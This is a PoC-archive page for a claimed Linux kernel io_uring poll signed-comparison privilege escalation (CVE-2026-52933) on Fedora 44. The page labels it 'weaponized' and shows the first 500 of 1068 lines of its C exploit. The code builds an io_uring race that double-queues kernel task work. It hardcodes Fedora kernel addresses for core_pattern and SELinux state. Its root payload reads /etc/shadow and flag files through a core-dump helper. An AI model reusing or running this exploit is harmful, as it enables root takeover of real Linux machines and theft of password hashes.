PoC Archive PoC Archive
CVE-2026-52933 category: binary CVSS 7.8 (HIGH)
Unverified

Linux io_uring Poll Signed Comparison LPE (CVE-2026-52933)

Published: 2026-09-04 • Researcher: Nebula Security (NebuSec / CyberMeowfia)

Target software Linux kernel (io_uring poll subsystem)
Affected versions Fedora 44 (kernel 6.19.10-300)
Status Weaponized
Severity High · CVSS 7.8
CVSS 7.8/10
Severity
High
CVE
CVE-2026-52933
Category
binary
Affected product
Linux kernel (io_uring poll subsystem)
Affected versions
Fedora 44 (kernel 6.19.10-300)
Disclosed
2026-09-04
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-09-04
Author / ResearcherNebula Security (NebuSec / CyberMeowfia)
CVE / AdvisoryCVE-2026-52933
Categorybinary
SeverityHigh
CVSS Score7.8
StatusWeaponized
TagsLPE, Linux kernel, io_uring, poll, signed comparison, Fedora, C

Affected Target

FieldValue
Software / SystemLinux kernel (io_uring poll subsystem)
Versions AffectedFedora 44 (kernel 6.19.10-300)
Language / PlatformC, Linux
Authentication RequiredYes (local unprivileged shell)
Network Access RequiredLocal only

Summary

CVE-2026-52933 is a signed comparison bug in io_poll_get within the Linux kernel io_uring subsystem. Nebula Security developed a weaponized exploit that leverages this flaw via perf_event and io_uring ring setup to achieve reliable privilege escalation on Fedora 44.

Vulnerability Details

Root Cause

A signed comparison error in io_poll_get_single allows an attacker to bypass validation checks. The exploit sets up io_uring rings and perf events to trigger the vulnerability and gain control over kernel execution.

Attack Vector

  1. Set up io_uring rings with crafted SQE entries
  2. Trigger the signed comparison bypass in poll handling
  3. Use perf_event file descriptors for controlled kernel state manipulation
  4. Achieve privilege escalation via kernel ROP chain

Impact

Local privilege escalation to root on Fedora 44 with kernel 6.19.10-300.

References

Notes

Auto-ingested from https://github.com/NebuSec/CyberMeowfia on 2026-09-04.

exploit.c
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
/*
 * Copyright 2026 Nebula Security
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     https://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 *
 * SPDX-License-Identifier: Apache-2.0
 */

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/io_uring.h>
#include <poll.h>
#include <sched.h>
#include <signal.h>
#include <stdatomic.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/eventfd.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/sendfile.h>
#include <sys/signalfd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#ifndef MAP_FIXED_NOREPLACE
#define MAP_FIXED_NOREPLACE 0x100000
#endif

#define PERF_TYPE_SOFTWARE 1
#define PERF_COUNT_SW_PAGE_FAULTS 2
#define KCMP_FILE 0

/*
 * PERF_ATTR_SIZE_VER0 is enough for a disabled, current-task software event.
 * Keep the definition local so the submission remains buildable by musl-gcc
 * installations which do not ship linux/perf_event.h.
 */
struct perf_event_attr_v0 {
	uint32_t type;
	uint32_t size;
	uint64_t config;
	uint64_t sample_period;
	uint64_t sample_type;
	uint64_t read_format;
	uint64_t flags;
	uint32_t wakeup_events;
	uint32_t bp_type;
	uint64_t bp_addr;
};

struct ring {
	int fd;
	unsigned entries;
	struct io_uring_params p;
	void *sq_map;
	void *cq_map;
	struct io_uring_sqe *sqes;
	unsigned *sq_head;
	unsigned *sq_tail;
	unsigned *sq_mask;
	unsigned *sq_flags;
	unsigned *sq_array;
	unsigned *cq_head;
	unsigned *cq_tail;
	unsigned *cq_mask;
	struct io_uring_cqe *cqes;
};

static uint64_t now_ns(void)
{
	struct timespec ts;

	clock_gettime(CLOCK_MONOTONIC, &ts);
	return (uint64_t)ts.tv_sec * 1000000000ULL + ts.tv_nsec;
}

static void fail(const char *what)
{
	perror(what);
	exit(1);
}

static int uring_enter(int fd, unsigned submit, unsigned min_complete,
		       unsigned flags)
{
	return syscall(__NR_io_uring_enter, fd, submit, min_complete, flags,
		       NULL, 0);
}

static int uring_register(int fd, unsigned opcode, const void *arg,
			  unsigned nr_args)
{
	return syscall(__NR_io_uring_register, fd, opcode, arg, nr_args);
}

static void ring_init_flags(struct ring *r, unsigned entries, unsigned flags)
{
	size_t sq_sz, cq_sz;
	void *sq, *cq;

	memset(r, 0, sizeof(*r));
	r->p.flags = flags;
	r->fd = syscall(__NR_io_uring_setup, entries, &r->p);
	if (r->fd < 0)
		fail("io_uring_setup");
	r->entries = r->p.sq_entries;
	sq_sz = r->p.sq_off.array + r->p.sq_entries * sizeof(unsigned);
	cq_sz = r->p.cq_off.cqes + r->p.cq_entries * sizeof(struct io_uring_cqe);
	if (r->p.features & IORING_FEAT_SINGLE_MMAP) {
		if (cq_sz > sq_sz)
			sq_sz = cq_sz;
		sq = mmap(NULL, sq_sz, PROT_READ | PROT_WRITE, MAP_SHARED |
			  MAP_POPULATE, r->fd, IORING_OFF_SQ_RING);
		if (sq == MAP_FAILED)
			fail("mmap rings");
		cq = sq;
	} else {
		sq = mmap(NULL, sq_sz, PROT_READ | PROT_WRITE, MAP_SHARED |
			  MAP_POPULATE, r->fd, IORING_OFF_SQ_RING);
		cq = mmap(NULL, cq_sz, PROT_READ | PROT_WRITE, MAP_SHARED |
			  MAP_POPULATE, r->fd, IORING_OFF_CQ_RING);
		if (sq == MAP_FAILED || cq == MAP_FAILED)
			fail("mmap split rings");
	}
	r->sq_map = sq;
	r->cq_map = cq;
	r->sqes = mmap(NULL, r->p.sq_entries * sizeof(*r->sqes),
		       PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE,
		       r->fd, IORING_OFF_SQES);
	if (r->sqes == MAP_FAILED)
		fail("mmap sqes");
	r->sq_head = sq + r->p.sq_off.head;
	r->sq_tail = sq + r->p.sq_off.tail;
	r->sq_mask = sq + r->p.sq_off.ring_mask;
	r->sq_flags = sq + r->p.sq_off.flags;
	r->sq_array = sq + r->p.sq_off.array;
	r->cq_head = cq + r->p.cq_off.head;
	r->cq_tail = cq + r->p.cq_off.tail;
	r->cq_mask = cq + r->p.cq_off.ring_mask;
	r->cqes = cq + r->p.cq_off.cqes;
}

static void ring_init(struct ring *r, unsigned entries)
{
	ring_init_flags(r, entries, 0);
}

static struct io_uring_sqe *ring_get_sqe(struct ring *r)
{
	unsigned tail = atomic_load_explicit((_Atomic unsigned *)r->sq_tail,
					     memory_order_relaxed);
	unsigned index = tail & *r->sq_mask;
	struct io_uring_sqe *sqe = &r->sqes[index];

	memset(sqe, 0, sizeof(*sqe));
	r->sq_array[index] = index;
	atomic_store_explicit((_Atomic unsigned *)r->sq_tail, tail + 1,
			      memory_order_release);
	return sqe;
}

static int ring_submit_one(struct ring *r, struct io_uring_sqe *sqe)
{
	(void)sqe;
	return uring_enter(r->fd, 1, 0, 0);
}

static unsigned ring_reap(struct ring *r)
{
	unsigned head = atomic_load_explicit((_Atomic unsigned *)r->cq_head,
					     memory_order_relaxed);
	unsigned tail = atomic_load_explicit((_Atomic unsigned *)r->cq_tail,
					     memory_order_acquire);

	atomic_store_explicit((_Atomic unsigned *)r->cq_head, tail,
			      memory_order_release);
	return tail - head;
}

static void producer_prepare(struct ring *r, int event_fd, uint64_t *one)
{
	unsigned tail = atomic_load_explicit((_Atomic unsigned *)r->sq_tail,
					     memory_order_relaxed);
	int fixed_fd = event_fd;

	if (uring_register(r->fd, IORING_REGISTER_FILES, &fixed_fd, 1))
		fail("register producer eventfd");

	for (unsigned i = 0; i < r->entries; i++) {
		unsigned pos = (tail + i) & *r->sq_mask;
		struct io_uring_sqe *sqe = &r->sqes[pos];

		memset(sqe, 0, sizeof(*sqe));
		sqe->opcode = IORING_OP_WRITE;
		sqe->flags = IOSQE_FIXED_FILE | IOSQE_CQE_SKIP_SUCCESS;
		sqe->fd = 0;
		sqe->off = (uint64_t)-1;
		sqe->addr = (uintptr_t)one;
		sqe->len = sizeof(*one);
		r->sq_array[pos] = pos;
	}
}

static void producer_run(struct ring *r, uint64_t wakeups)
{
	uint64_t start = now_ns(), done = 0;
	unsigned tail = atomic_load_explicit((_Atomic unsigned *)r->sq_tail,
					     memory_order_relaxed);

	while (done < wakeups) {
		unsigned batch = r->entries;
		int ret;

		if (wakeups - done < batch)
			batch = wakeups - done;
		atomic_store_explicit((_Atomic unsigned *)r->sq_tail, tail + batch,
				      memory_order_release);
		tail += batch;
		ret = uring_enter(r->fd, batch, 0, 0);
		if (ret != (int)batch) {
			fprintf(stderr, "producer submit %d/%u errno=%d\n", ret,
				batch, errno);
			exit(1);
		}
		done += batch;
		if (!(done & ((1ULL << 24) - 1))) {
			double seconds = (now_ns() - start) / 1e9;
			printf("[.] wakeups=%llu rate=%.2f M/s\n",
			       (unsigned long long)done, done / seconds / 1e6);
		}
	}
	printf("[+] generated %llu wakeups in %.3f seconds (%.2f M/s)\n",
	       (unsigned long long)done, (now_ns() - start) / 1e9,
	       done / ((now_ns() - start) / 1e9) / 1e6);
}

static void producer_run_direct(int event_fd, uint64_t wakeups)
{
	uint64_t start = now_ns(), one = 1;

	for (uint64_t done = 0; done < wakeups; done++) {
		register long nr asm("rax") = __NR_write;
		register long fd asm("rdi") = event_fd;
		register const void *buf asm("rsi") = &one;
		register long len asm("rdx") = sizeof(one);

		asm volatile("syscall" : "+a"(nr) : "D"(fd), "S"(buf), "d"(len)
			     : "rcx", "r11", "memory");
		if (nr != sizeof(one))
			fail("direct eventfd write");
		if (!((done + 1) & ((1ULL << 24) - 1))) {
			double seconds = (now_ns() - start) / 1e9;

			printf("[.] direct wakeups=%llu rate=%.2f M/s\n",
			       (unsigned long long)(done + 1),
			       (done + 1) / seconds / 1e6);
		}
	}
	printf("[+] generated %llu direct wakeups in %.3f seconds (%.2f M/s)\n",
	       (unsigned long long)wakeups, (now_ns() - start) / 1e9,
	       wakeups / ((now_ns() - start) / 1e9) / 1e6);
}

static void producer_run_sqpoll(struct ring *r, uint64_t wakeups)
{
	uint64_t start = now_ns(), done = 0;
	unsigned tail = atomic_load_explicit((_Atomic unsigned *)r->sq_tail,
					     memory_order_relaxed);

	while (done < wakeups) {
		unsigned head = atomic_load_explicit((_Atomic unsigned *)r->sq_head,
						memory_order_acquire);
		unsigned space = r->entries - (tail - head);
		unsigned batch;

		if (!space) {
			if (atomic_load_explicit((_Atomic unsigned *)r->sq_flags,
						 memory_order_acquire) &
			    IORING_SQ_NEED_WAKEUP)
				(void)uring_enter(r->fd, 0, 0, IORING_ENTER_SQ_WAKEUP);
			asm volatile("pause");
			continue;
		}
		batch = space;
		if (wakeups - done < batch)
			batch = wakeups - done;
		atomic_store_explicit((_Atomic unsigned *)r->sq_tail, tail + batch,
				      memory_order_release);
		tail += batch;
		done += batch;
		if (atomic_load_explicit((_Atomic unsigned *)r->sq_flags,
					 memory_order_acquire) & IORING_SQ_NEED_WAKEUP)
			(void)uring_enter(r->fd, 0, 0, IORING_ENTER_SQ_WAKEUP);
		if (!(done & ((1ULL << 24) - 1))) {
			double seconds = (now_ns() - start) / 1e9;

			printf("[.] sqpoll wakeups=%llu rate=%.2f M/s\n",
			       (unsigned long long)done, done / seconds / 1e6);
		}
	}
	while (atomic_load_explicit((_Atomic unsigned *)r->sq_head,
				    memory_order_acquire) != tail) {
		if (atomic_load_explicit((_Atomic unsigned *)r->sq_flags,
					 memory_order_acquire) & IORING_SQ_NEED_WAKEUP)
			(void)uring_enter(r->fd, 0, 0, IORING_ENTER_SQ_WAKEUP);
		asm volatile("pause");
	}
	printf("[+] generated %llu sqpoll wakeups in %.3f seconds (%.2f M/s)\n",
	       (unsigned long long)wakeups, (now_ns() - start) / 1e9,
	       wakeups / ((now_ns() - start) / 1e9) / 1e6);
}

static void pin_to_cpu(unsigned cpu)
{
	cpu_set_t cpus;

	CPU_ZERO(&cpus);
	CPU_SET(cpu, &cpus);
	if (sched_setaffinity(0, sizeof(cpus), &cpus))
		fail("sched_setaffinity");
}

static void locked_wake_resumer(int go_fd, int ready_fd, pid_t target)
{
	char byte;

	pin_to_cpu(0);
	if (write(ready_fd, "R", 1) != 1)
		fail("locked wake resumer ready");
	if (read(go_fd, &byte, 1) != 1)
		fail("locked wake resumer go");
	if (kill(target, SIGCONT))
		fail("locked wake SIGCONT");
	_exit(0);
}

/*
 * The first SQE wakes a CPU-0 helper which resumes the stopped owner task.
 * That task removes the already-pending task-work node and then blocks on this
 * ring's uring_lock.  The following NOPs keep the CPU-1 io_uring_enter() in
 * the locked submission section until the last SQE writes target_eventfd.
 * Its poll callback observes the wrapped zero ref field, takes false
 * ownership and queues the same node again.  Only then is uring_lock released,
 * so the original task work completes/frees the request before the newly
 * queued work consumes it again.
 */
static void locked_wake_batch(struct ring *r, int target_eventfd, pid_t target)
{
	int go[2], ready[2], status;
	uint64_t one = 1;
	char byte = 'G';
	unsigned tail, batch = r->entries;
	pid_t resumer;

	if (pipe(go) || pipe(ready))
		fail("locked wake pipes");
	resumer = fork();
	if (resumer < 0)
		fail("locked wake fork");
	if (!resumer)
		locked_wake_resumer(go[0], ready[1], target);
	close(go[0]);
	close(ready[1]);
	if (read(ready[0], &byte, 1) != 1)
		fail("locked wake wait ready");

	tail = atomic_load_explicit((_Atomic unsigned *)r->sq_tail,
				    memory_order_relaxed);
	for (unsigned i = 0; i < batch; i++) {
		unsigned pos = (tail + i) & *r->sq_mask;
		struct io_uring_sqe *sqe = &r->sqes[pos];

		memset(sqe, 0, sizeof(*sqe));
		sqe->flags = IOSQE_CQE_SKIP_SUCCESS;
		if (i == 0) {
			sqe->opcode = IORING_OP_WRITE;
			sqe->fd = go[1];
			sqe->off = (uint64_t)-1;
			sqe->addr = (uintptr_t)&byte;
			sqe->len = 1;
		} else if (i == batch - 1) {
			sqe->opcode = IORING_OP_WRITE;
			sqe->fd = target_eventfd;
			sqe->off = (uint64_t)-1;
			sqe->addr = (uintptr_t)&one;
			sqe->len = sizeof(one);
		} else {
			sqe->opcode = IORING_OP_NOP;
		}
		r->sq_array[pos] = pos;
	}
	atomic_store_explicit((_Atomic unsigned *)r->sq_tail, tail + batch,
			      memory_order_release);
	pin_to_cpu(1);
	printf("[+] submitting %u locked SQEs\n", batch);
	if (uring_enter(r->fd, batch, 0, 0) != (int)batch)
		fail("locked wake io_uring_enter");
	close(go[1]);
	if (waitpid(resumer, &status, 0) != resumer || !WIFEXITED(status) ||
	    WEXITSTATUS(status))
		fail("locked wake resumer");
	puts("[+] locked target wake submitted after owner resume");
}

#define FEDORA_CORE_PATTERN 0xffffffff83c77c60ULL
#define PERF_RECLAIM_FILES 256
#define PT_SPRAY_COUNT 4096
#define PT_SPRAY_STRIDE (2UL * 1024 * 1024)
#define PT_SPRAY_BASE 0x10000000000UL
#define PERF_MARKER_OFF 0xf00
#define PERF_MARKER UINT64_C(0x5f6e656275736563)
#define NEBUSEC_TAG UINT64_C(0x5f6e656200000001)
#define FEDORA_TEXT_LINK 0xffffffff81000000ULL
#define FEDORA_PHYS_START 0x01000000ULL
#define FEDORA_PHYS_END 0x3ffdc000ULL
#define FEDORA_SELINUX_STATE 0xffffffff84b36f40ULL
#define FEDORA_TRAMPOLINE_PHYS 0x0009c000ULL
#define FEDORA_TRAMPOLINE_LEAK_OFF 0x03e04000ULL

static char saved_core_pattern[128];

static int spray_seed_fd = -1;

static void root_payload(int pid)
{
	char path[192];
	int pidfd, fd;

	pidfd = syscall(SYS_pidfd_open, pid, 0);
	for (int i = 0; i < 3 && pidfd >= 0; i++) {
		fd = syscall(SYS_pidfd_getfd, pidfd, i, 0);
		if (fd >= 0) {
			dup2(fd, i);
			close(fd);
		}
	}
	printf("[+] root core helper running uid=%u euid=%u\n",
	       getuid(), geteuid());
	snprintf(path, sizeof(path),
		 "id; head -n 1 /etc/shadow; cat /flag 2>/dev/null || cat /root/flag 2>/dev/null");
	execl("/bin/sh", "sh", "-c", path, NULL);
	_exit(1);
}

static void trigger_core_helper(void)
{
	struct rlimit lim = { RLIM_INFINITY, RLIM_INFINITY };
	int memfd, self;

	(void)setrlimit(RLIMIT_CORE, &lim);
	memfd = syscall(SYS_memfd_create, "_nebusec", 0);
	self = open("/proc/self/exe", O_RDONLY);
	if (memfd < 0 || self < 0)
		fail("prepare core helper");
	if (sendfile(memfd, self, NULL, 1U << 24) < 0)
		fail("copy core helper");
	if (dup2(memfd, 666) != 666)
		fail("dup core helper");
	close(memfd);
	close(self);
	puts("[+] triggering core helper");
	*(volatile unsigned long *)0 = 0;
}

static size_t read_core_pattern(char *out, size_t out_sz)
{
	int fd;
	ssize_t n;

	fd = open("/proc/sys/kernel/core_pattern", O_RDONLY);
	if (fd < 0)
		fail("open core_pattern");
	n = read(fd, out, out_sz - 1);
	close(fd);
	if (n <= 0)
		fail("read core_pattern");
	while (n && (out[n - 1] == '\n' || out[n - 1] == '\r'))
		n--;
	out[n] = 0;
	return n;
}
Showing 500 of 1068 lines View full file on GitHub →